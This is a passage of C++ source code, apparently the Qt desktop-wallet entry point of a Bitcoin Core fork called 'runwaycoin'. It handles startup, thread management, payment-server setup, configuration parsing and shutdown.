runawayException(QString::fromStdString(GetWarnings("gui"))); } bool BitcoinCore::baseInitialize() { if (!AppInitBasicSetup()) { return false; } if (!AppInitParameterInteraction()) { return false; } if (!AppInitSanityChecks()) { return false; } if (!AppInitLockDataDirectory()) { return false; } return true; } void BitcoinCore::initialize() { try { qDebug() << __func__ << ": Running initialization in thread"; bool rv = AppInitMain(); Q_EMIT initializeResult(rv); } catch (const std::exception& e) { handleRunawayException(&e); } catch (...) { handleRunawayException(nullptr); } } void BitcoinCore::shutdown() { try { qDebug() << __func__ << ": Running Shutdown in thread"; Interrupt(); Shutdown(); qDebug() << __func__ << ": Shutdown finished"; Q_EMIT shutdownResult(); } catch (const std::exception& e) { handleRunawayException(&e); } catch (...) { handleRunawayException(nullptr); } } BitcoinApplication::BitcoinApplication(int &argc, char **argv): QApplication(argc, argv), coreThread(0), optionsModel(0), clientModel(0), window(0), pollShutdownTimer(0), #ifdef ENABLE_WALLET paymentServer(0), walletModel(0), #endif returnValue(0) { setQuitOnLastWindowClosed(false); // UI per-platform customization // This must be done inside the BitcoinApplication constructor, or after it, because // PlatformStyle::instantiate requires a QApplication std::string platformName; platformName = gArgs.GetArg("-uiplatform", BitcoinGUI::DEFAULT_UIPLATFORM); platformStyle = PlatformStyle::instantiate(QString::fromStdString(platformName)); if (!platformStyle) // Fall back to "other" if specified name not found platformStyle = PlatformStyle::instantiate("other"); assert(platformStyle); } BitcoinApplication::~BitcoinApplication() { if(coreThread) { qDebug() << __func__ << ": Stopping thread"; Q_EMIT stopThread(); coreThread->wait(); qDebug() << __func__ << ": Stopped thread"; } delete window; window = 0; #ifdef ENABLE_WALLET delete paymentServer; paymentServer = 0; #endif delete optionsModel; optionsModel = 0; delete platformStyle; platformStyle = 0; } #ifdef ENABLE_WALLET void BitcoinApplication::createPaymentServer() { paymentServer = new PaymentServer(this); } #endif void BitcoinApplication::createOptionsModel(bool resetSettings) { optionsModel = new OptionsModel(nullptr, resetSettings); } void BitcoinApplication::createWindow(const NetworkStyle *networkStyle) { window = new BitcoinGUI(platformStyle, networkStyle, 0); pollShutdownTimer = new QTimer(window); connect(pollShutdownTimer, SIGNAL(timeout()), window, SLOT(detectShutdown())); } void BitcoinApplication::createSplashScreen(const NetworkStyle *networkStyle) { SplashScreen *splash = new SplashScreen(0, networkStyle); // We don't hold a direct pointer to the splash screen after creation, but the splash // screen will take care of deleting itself when slotFinish happens. splash->show(); connect(this, SIGNAL(splashFinished(QWidget*)), splash, SLOT(slotFinish(QWidget*))); connect(this, SIGNAL(requestedShutdown()), splash, SLOT(close())); } void BitcoinApplication::startThread() { if(coreThread) return; coreThread = new QThread(this); BitcoinCore *executor = new BitcoinCore(); executor->moveToThread(coreThread); /* communication to and from thread */ connect(executor, SIGNAL(initializeResult(bool)), this, SLOT(initializeResult(bool))); connect(executor, SIGNAL(shutdownResult()), this, SLOT(shutdownResult())); connect(executor, SIGNAL(runawayException(QString)), this, SLOT(handleRunawayException(QString))); connect(this, SIGNAL(requestedInitialize()), executor, SLOT(initialize())); connect(this, SIGNAL(requestedShutdown()), executor, SLOT(shutdown())); /* make sure executor object is deleted in its own thread */ connect(this, SIGNAL(stopThread()), executor, SLOT(deleteLater())); connect(this, SIGNAL(stopThread()), coreThread, SLOT(quit())); coreThread->start(); } void BitcoinApplication::parameterSetup() { InitLogging(); InitParameterInteraction(); } void BitcoinApplication::requestInitialize() { qDebug() << __func__ << ": Requesting initialize"; startThread(); Q_EMIT requestedInitialize(); } void BitcoinApplication::requestShutdown() { // Show a simple window indicating shutdown status // Do this first as some of the steps may take some time below, // for example the RPC console may still be executing a command. shutdownWindow.reset(ShutdownWindow::showShutdownWindow(window)); qDebug() << __func__ << ": Requesting shutdown"; startThread(); window->hide(); window->setClientModel(0); pollShutdownTimer->stop(); #ifdef ENABLE_WALLET window->removeAllWallets(); delete walletModel; walletModel = 0; #endif delete clientModel; clientModel = 0; StartShutdown(); // Request shutdown from core thread Q_EMIT requestedShutdown(); } void BitcoinApplication::initializeResult(bool success) { qDebug() << __func__ << ": Initialization result: " << success; // Set exit result. returnValue = success ? EXIT_SUCCESS : EXIT_FAILURE; if(success) { // Log this only after AppInitMain finishes, as then logging setup is guaranteed complete qWarning() << "Platform customization:" << platformStyle->getName(); #ifdef ENABLE_WALLET PaymentServer::LoadRootCAs(); paymentServer->setOptionsModel(optionsModel); #endif clientModel = new ClientModel(optionsModel); window->setClientModel(clientModel); #ifdef ENABLE_WALLET // TODO: Expose secondary wallets if (!vpwallets.empty()) { walletModel = new WalletModel(platformStyle, vpwallets[0], optionsModel); window->addWallet(BitcoinGUI::DEFAULT_WALLET, walletModel); window->setCurrentWallet(BitcoinGUI::DEFAULT_WALLET); connect(walletModel, SIGNAL(coinsSent(CWallet*,SendCoinsRecipient,QByteArray)), paymentServer, SLOT(fetchPaymentACK(CWallet*,const SendCoinsRecipient&,QByteArray))); } #endif // If -min option passed, start window minimized. if(gArgs.GetBoolArg("-min", false)) { window->showMinimized(); } else { window->show(); } Q_EMIT splashFinished(window); #ifdef ENABLE_WALLET // Now that initialization/startup is done, process any command-line // bitcoin: URIs or payment requests: connect(paymentServer, SIGNAL(receivedPaymentRequest(SendCoinsRecipient)), window, SLOT(handlePaymentRequest(SendCoinsRecipient))); connect(window, SIGNAL(receivedURI(QString)), paymentServer, SLOT(handleURIOrFile(QString))); connect(paymentServer, SIGNAL(message(QString,QString,unsigned int)), window, SLOT(message(QString,QString,unsigned int))); QTimer::singleShot(100, paymentServer, SLOT(uiReady())); #endif pollShutdownTimer->start(200); } else { Q_EMIT splashFinished(window); // Make sure splash screen doesn't stick around during shutdown quit(); // Exit first main loop invocation } } void BitcoinApplication::shutdownResult() { quit(); // Exit second main loop invocation after shutdown finished } void BitcoinApplication::handleRunawayException(const QString &message) { QMessageBox::critical(0, "Runaway exception", BitcoinGUI::tr("A fatal error occurred. runwaycoin can no longer continue safely and will quit.") + QString("\n\n") + message); ::exit(EXIT_FAILURE); } WId BitcoinApplication::getMainWinId() const { if (!window) return 0; return window->winId(); } #ifndef BITCOIN_QT_TEST int main(int argc, char *argv[]) { SetupEnvironment(); /// 1. Parse command-line options. These take precedence over anything else. // Command-line options take precedence: gArgs.ParseParameters(argc, argv); // Do not refer to data directory yet, this can be overridden by Intro::pickDataDirectory /// 2. Basic Qt initialization (not dependent on parameters or configuration) #if QT_VERSION < 0x050000 // Internal string conversion is all UTF-8 QTextCodec::setCodecForTr(QTextCodec::codecForName("UTF-8")); QTextCodec::setCodecForCStrings(QTextCodec::codecForTr()); #endif Q_INIT_RESOURCE(bitcoin); Q_INIT_RESOURCE(bitcoin_locale); BitcoinApplication app(argc, argv); #if QT_VERSION > 0x050100 // Generate high-dpi pixmaps QApplication::setAttribute(Qt::AA_UseHighDpiPixmaps); #endif #if QT_VERSION >= 0x050600 QGuiApplication::setAttribute(Qt::AA_EnableHighDpiScaling); #endif #ifdef Q_OS_MAC QApplication::setAttribute(Qt::AA_DontShowIconsInMenus); #endif #if QT_VERSION >= 0x050500 // Because of the POODLE attack it is recommended to disable SSLv3 (https://disablessl3.com/), // so set SSL protocols to TLS1.0+. QSslConfiguration sslconf = QSslConfiguration::defaultConfiguration(); sslconf.setProtocol(QSsl::TlsV1_0OrLater); QSslConfiguration::setDefaultConfiguration(sslconf); #endif // Register meta types used for QMetaObject::invokeMethod qRegisterMetaType< bool* >(); // Need to pass name here as CAmount is a typedef (see http://qt-project.org/doc/qt-5/qmetatype.html#qRegisterMetaType) // IMPORTANT if it is no longer a typedef use the normal variant above qRegisterMetaType< CAmount >("CAmount"); qRegisterMetaType< std::function<void(void)> >("std::function<void(void)>"); /// 3. Application identification // must be set before OptionsModel is initialized or translations are loaded, // as it is used to locate QSettings QApplication::setOrganizationName(QAPP_ORG_NAME); QApplication::setOrganizationDomain(QAPP_ORG_DOMAIN); QApplication::setApplicationName(QAPP_APP_NAME_DEFAULT); GUIUtil::SubstituteFonts(GetLangTerritory()); /// 4. Initialization of translations, so that intro dialog is in user's language // Now that QSettings are accessible, initialize translations QTranslator qtTranslatorBase, qtTranslator, translatorBase, translator; initTranslations(qtTranslatorBase, qtTranslator, translatorBase, translator); translationInterface.Translate.connect(Translate); // Show help message immediately after parsing command-line options (for "-lang") and setting locale, // but before showing splash screen. if (gArgs.IsArgSet("-?") || gArgs.IsArgSet("-h") || gArgs.IsArgSet("-help") || gArgs.IsArgSet("-version")) { HelpMessageDialog help(nullptr, gArgs.IsArgSet("-version")); help.showOrPrint(); return EXIT_SUCCESS; } /// 5. Now that settings and translations are available, ask user for data directory // User language is set up: pick a data directory if (!Intro::pickDataDirectory()) return EXIT_SUCCESS; /// 6. Determine availability of data directory and parse bitcoin.conf /// - Do not call GetDataDir(true) before this step finishes if (!fs::is_directory(GetDataDir(false))) { QMessageBox::critical(0, QObject::tr(PACKAGE_NAME), QObject::tr("Error: Specified data directory \"%1\" does not exist.").arg(QString::fromStdString(gArgs.GetArg("-datadir", "")))); return EXIT_FAILURE; } try { gArgs.ReadConfigFile(gArgs.GetArg("-conf", BITCOIN_CONF_FILENAME)); } catch (const std::exception& e) { QMessageBox::critical(0, QObject::tr(PACKAGE_NAME), QObject::tr("Error: Cannot parse configuration file: %1. Only use key=value syntax.").arg(e.what())); return EXIT_FAILURE; } /// 7. Determine network (and switch to network specific options) // - Do not call Params() before this step // - Do this after parsing the configuration file, as the network can be switched there // - QSettings() will use the new application name after this, resulting in network-specific settings // - Needs to be done before createOptionsModel // Check for -testnet or -regtest parameter (Params() calls are only valid after this clause) try { SelectParams(ChainNameFromCommandLine()); } catch(std::exception &e) { QMessageBox::critical(0, QObject::tr(PACKAGE_NAME), QObject::tr("Error: %1").arg(e.what())); return EXIT_FAILURE; } #ifdef ENABLE_WALLET // Parse URIs on command line -- this can affect Params() PaymentServer::ipcParseCommandLine(argc, argv); #endif QScopedPointer<const NetworkStyle> networkStyle(NetworkStyle::instantiate(QString::fromStdString(Params().NetworkIDString()))); assert(!networkStyle.isNull()); // Allow for separate UI settings for testnets QApplication::setApplicationName(networkStyle->getAppName()); // Re-initialize translations after changing application name (language in network-specific settings can be different) initTranslations(qtTranslatorBase, qtTranslator, translatorBase, translator); #ifdef ENABLE_WALLET /// 8. URI IPC sending // - Do this early as we don't want to bother initializing if we are just calling IPC // - Do this *after* setting up the data directory, as the data directory hash is used in the name // of the server. // - Do this after creating app and setting up translations, so errors are // translated properly. if (PaymentServer::ipcSendCommandLine()) exit(EXIT_SUCCESS); // Start up the payment server early, too, so impatient users that click on // bitcoin: links repeatedly have their payment requests routed to this process: app.createPaymentServer(); #endif /// 9. Main GUI initialization // Install global event filter that makes sure that long tooltips can be word-wrapped app.installEventFilter(new GUIUtil::ToolTipToRichTextFilter(TOOLTIP_WRAP_THRESHOLD, &app)); #if QT_VERSION < 0x050000 // Install qDebug() message handler to route to debug.log qInstallMsgHandler(DebugMessageHandler); #else #if defined(Q_OS_WIN) // Install global event filter for processing Windows session related Windows messages (WM_QUERYENDSESSION and WM_ENDSESSION) qApp->installNativeEventFilter(new WinShutdownMonitor()); #endif // Install qDebug() message handler to route to debug.log qInstallMessageHandler(DebugMessageHandler); #endif // Allow parameter interaction before we create the options model app.parameterSetup(); // Load GUI settings from QSettings app.createOptionsModel(gArgs.IsArgSet("-resetguisettings")); // Subscribe to global signals from core uiInterface.InitMessage.connect(InitMessage); if (gArgs.GetBoolArg("-splash", DEFAULT_SPLASHSCREEN) && !gArgs.GetBoolArg("-min", false)) app.createSplashScreen(networkStyle.data()); int rv = EXIT_SUCCESS; try { app.createWindow(networkStyle.data()); // Perform base initialization before spinning up initialization/shutdown thread // This is acceptable because this function only contains steps that are quick to execute, // so the GUI thread won't be held up. if (BitcoinCore::baseInitialize()) { app.requestInitialize(); #if defined(Q_OS_WIN) && QT_VERSION >= 0x050000 WinShutdownMonitor::registerShutdownBlockReason(QObject::tr("%1 didn't yet exit safely...").arg(QObject::tr(PACKAGE_NAME)), (HWND)app.getMainWinId()); #endif app.exec(); app.requestShutdown(); app.exec(); rv = app.getReturnValue(); } else { // A dialog with detailed error will have been shown by InitError() rv = EXIT_FAILURE; } } catch (const std::exception& e) { PrintExceptionContinue(&e, "Runaway exception"); app.handleRunawayException(QString::fromStdString(GetWarnings("gui"))); } catch (...) { PrintExceptionContinue(nullptr, "Runaway exception"); app.handleRunawayException(QString::fromStdString(GetWarnings("gui"))); } return rv; } #endif // BITCOIN_QT_TEST